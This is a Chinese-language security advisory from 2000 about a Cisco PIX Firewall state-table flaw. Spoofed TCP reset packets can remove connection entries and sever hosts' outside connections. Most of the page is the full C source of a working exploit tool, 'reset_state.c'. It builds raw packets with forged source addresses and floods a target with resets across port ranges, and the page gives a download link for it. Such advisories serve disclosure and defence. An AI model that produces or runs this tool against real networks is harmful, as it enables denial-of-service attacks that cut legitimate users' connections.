公司介绍
员工心声
招聘信息
服务范围
产品介绍
专家检测
应急小组
Solutions
会员登记
安全评估
案例分析
咨询建议
系统漏洞
安全工具
参考资料
安全论坛
安全焦点
 
 

关于Pix Firewall的state table缺陷 (APP,缺陷)
 
涉及程序:
Cisco Pix Firewall
 
描述:
Cisco Pix Firewall允许远程攻击者修改设置/切断连接
 
详细:
预备知识:
Lan--- Local area network (局域网)
NAT--- Network Address Translation(网络地址转换)
NAT的设置是相对于独立的Internet IP而言。NAT内部网地址的主机连接到Internet上时,会转换为Internet上的有效IP。如一个192.168.0.0的Lan,其网关机器上有两块网卡,一块的地址为 192.168.0.1,一块为 202.96.180.12 。Lan内的机器如 192.168.0.2通过网关连接到Internet上后,体现在Internet上的IP地址将被转化为 202.96.180.12。

Cisco Pix Firewall的这个漏洞的条件是非NAT设置的网络,即Firewall内的每一台主机都拥有独立的IP地址。Pix拥有一个state table,任何外来地址访问内部地址,如果在state table内没有相关的项,则访问将被拒绝。这意味着在外来数据能进来之前,你必须先在内部网络和外部网络之间建立起一个连接。这是Pix Firewall的一个安全特征,但它存在缺陷。
如果一个特定的主机发送包含正确源地址和目标端口的RST包(TCP Reset),Pix将删除这个地址对的相关项,这样原来合法的外来的地址不能访问内部的地址。
如果攻击者精心设计一个RST包,在其TCP头上,将源IP设置为内部主机已经连接的外部地址,目标地址设置为该内部地址,将源端口设置为内部主机连接的端口,将目标端口设置到内部主机可能使用的端口范围内,然后发送这个reset包,这样将删除该主机的state table项,切断该主机的对外连接。

以下为该类攻击的测试代码,仅供研究参考,不得用于非法用途!


/* reset_state.c (c) 2000 Citec Network Securities */
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */


#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>


struct slist {
     struct in_addr spoof;
     struct slist *link;
}; /* Spoof list */


int
main(int argc, char *argv[])
{


     int i, int2;
     int sock; /* Socket stuff */
     int on = 1; /* Socket stuff */
     struct sockaddr_in sockstruct; /* Socket stuff */
     struct ip *iphead; /* IP Header pointer */
     struct tcphdr *tcphead; /* TCP Header pointer */
     char evilpacket[sizeof(struct ip) + sizeof(struct
tcphdr)];
                           /* Our reset packet */
     int seq, ack; /* Sequence and Acknowledgement #'s
*/
     FILE *spooffile; /* Spoof file */
     char *buffer; /* Spoof file read buffer */
     struct slist *scur, *sfirst; /* Spoof linked list pointers */
     char src[20], dst[20]; /* Work around for inet_ntoa static
*/
                           /* Pointers when using printf() */
     int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */
     int target; /* Target address from inet_addr()
*/



     if(argc < 6) {
           fprintf(stderr, "Usage: %s spoof_file target sps spe dps
dpe\n"
           "target = your victim\n"
           "sps = Source port start\n"
           "spe = Source port end\n"
           "dps = Destination port start\n"
           "dpe = Destination port end\n", argv[0]);
           exit(-1);
           }
     else {
           sourcefrom = atoi(argv[3]);
           sourceto = atoi(argv[4]);
           destfrom = atoi(argv[5]);
           destto = atoi(argv[6]);
           };
      
     if(sourcefrom > sourceto) {
           printf("Error, start source port must be less than end
source port\n");
           exit(-1);
           }
     else if(destfrom > destto) {
           printf("Error, start dest port must be less than end dest
port\n");
           exit(-1);
           };


     printf("Used spoof file %s\n"
          "Destination: [%s] ports: [%d -> %d]\n"
          "Target source ports: [%d -> %d]\n",
           argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);


     sleep(1);


     bzero(evilpacket, sizeof(evilpacket));
                           /* Clean our reset packet */


     sfirst = malloc(sizeof(struct slist));
     scur = sfirst;
     scur->link = NULL; /* Setup our spoof linked list */


     if(!(buffer = malloc(25))) {
           perror("malloc");
           exit(-1);
           }; /* Allocate for read buffer */


     if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
           perror("fopen");
           exit(-1); /* Open our spoof file */
     } else {
           while (fgets(buffer, 25, spooffile)) { /* Read till EOF */
                if (!(inet_aton(buffer, &(scur->spoof))))
                     printf("Invalid address found in victim
file.. ignoring\n");
                else {
                     scur->link = malloc(sizeof(struct slist));
                     scur = scur->link;
                     scur->link = NULL; /* Cycle l.list */
                     }
                }; /* End of while loop */
           }; /* End of if {} else {} */
      


     free(buffer); /* Free up our read buffer */
     fclose(spooffile); /* Close our spoof file */
     scur = sfirst; /* Set spoof list current to first
*/


     if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
           perror("socket");
           exit(-1);
     } /* Allocate our raw socket */


     if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {
           perror("setsockopt");
           exit(-1);
     } /* Set socket options for raw iphead
*/


     sockstruct.sin_family = AF_INET;
     iphead = (struct ip *) evilpacket;
     tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
                           /* Align ip and tcp headers */


     iphead->ip_hl = 5; /* Ip header length is 5 */
     iphead->ip_v = 4; /* ipv4 */
     iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
                           /* Length of our total packet */
     iphead->ip_id = htons(getpid()); /* Packet ID == PID # */
     iphead->ip_ttl = 255; /* Time to live == 255 */
     iphead->ip_p = IPPROTO_TCP; /* TCP Packet */
     iphead->ip_sum = 0; /* No checksum */
     iphead->ip_tos = 0; /* 0 Type of Service */
     iphead->ip_off = 0; /* Offset is 0 */
     tcphead->th_win = htons(512); /* TCP Window is 512 */
     tcphead->th_flags = TH_RST; /* Reset packet */
     tcphead->th_off = 0x50; /* TCP Offset 0x50 */


     iphead->ip_dst.s_addr = inet_addr(argv[2]);


     srand(getpid()); /* Seed for rand() */
     while (scur->link != NULL) {
           seq = rand() % time(NULL); /* Randomize our #'s */
           ack = rand() % time(NULL); /* Randomize ack #'s */
           sockstruct.sin_port = htons(rand() % time(NULL));
           iphead->ip_src = scur->spoof; /* Set the spoofed address
*/
           sockstruct.sin_addr = scur->spoof;
           for(i = sourcefrom; i <= sourceto; i++) {
                for(int2 = destfrom; int2 <= destto; int2++) {
                     usleep(2); /* Sleep 5ms between packets
*/
                     seq += (rand() %10)+250;
                     ack += (rand() %10)+250;
                     tcphead->th_seq = htonl(seq);
                                /* Set sequence number */
                     tcphead->th_ack = htonl(ack);
                                /* Set ack number */
                     tcphead->th_dport = htons(int2);
                                /* Set destination port */
                     tcphead->th_sport = htons(i);
                                /* Set source port */
                     snprintf(src, 20, "%s",
inet_ntoa(iphead->ip_src));
                     snprintf(dst, 20, "%s",
inet_ntoa(iphead->ip_dst));
                     /* Copy info to src and dst for printing */
                     printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
                     sendto(sock, &evilpacket,
sizeof(evilpacket), 0x0,
                               (struct sockaddr *) & sockstruct,
sizeof(sockstruct));
                                /* Send our evil packet */
                     };
                };
           scur = scur->link; /* Cycle the spoof ips */
           }
           scur = sfirst;
     return (1);


};






 
解决方案:
暂无
 
相关下载:
http://www.cnns.net/exploits/bsd/reset_state.c
 
发布时间:2000年3月22日

返回

版权所有,如需转载,请与安络联系